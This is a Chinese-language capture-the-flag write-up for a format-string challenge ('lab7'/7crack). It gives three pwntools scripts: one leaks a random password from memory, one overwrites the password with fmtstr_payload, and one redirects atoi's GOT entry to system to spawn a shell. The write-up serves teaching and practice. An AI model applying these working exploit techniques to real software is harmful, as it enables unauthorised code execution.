lab7

check一下,发现开了NX和canary


image.png

拖进ida,发现可以用格式化字符串,我们需要输入名字与密码,如果密码正确则得到flag,password是一个随机数,只要在第二次输入的时候相等那就可以。


image.png

方法一:
首先我们要泄露密码的值,我们得先得到它的地址

在输入name时输入“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p”当输出地址位0x41414141时即为格式化字符串的位置


image.png

所以我们先通过格式化字符串爆出地址后,接受该地址的内容,即为password,再将password输入即cat flag
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./7crack')

payload = p32(0x804A048)+'#'+'%10$s'+'#'  #为了方便下面接收的时候进行识别,需要用一个字符来加以标志
print payload  #   H\xa0\x0#%10$s#

p.recvuntil('What your name ? ')
p.sendline(payload)

p.recvuntil("#")
r = p.recvuntil("#")
password = u32(r[:4])
print password 
p.recvuntil("Your password :")
p.sendline(str(password))
p.interactive()

方法二:
找到password的地址,利用printf重写password



脚本

from pwn import *
context.log_level ='debug'
password = 0x0804A048
p = process('./7crack')
offset = 10
payload = fmtstr_payload(10,{password:9999})
p.sendafter('What your name ? ',payload)
p.sendafter('Your password :','9999')
p.recv()
p.interactive()

方法三:
https://blog.csdn.net/Maxmalloc/article/details/85109592
将system_plt 写入atoi_got

image.png

脚本

from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./7crack')
p = process('./7crack')
atoi = elf.got['atoi']
system = elf.plt['system']
paylaod = fmtstr_payload(10,{atoi:system})
p.sendafter('What your name ? ',paylaod)
p.sendafter('Your password :','/bin/sh\x00')
p.interactive()

你可能感兴趣的:(lab7)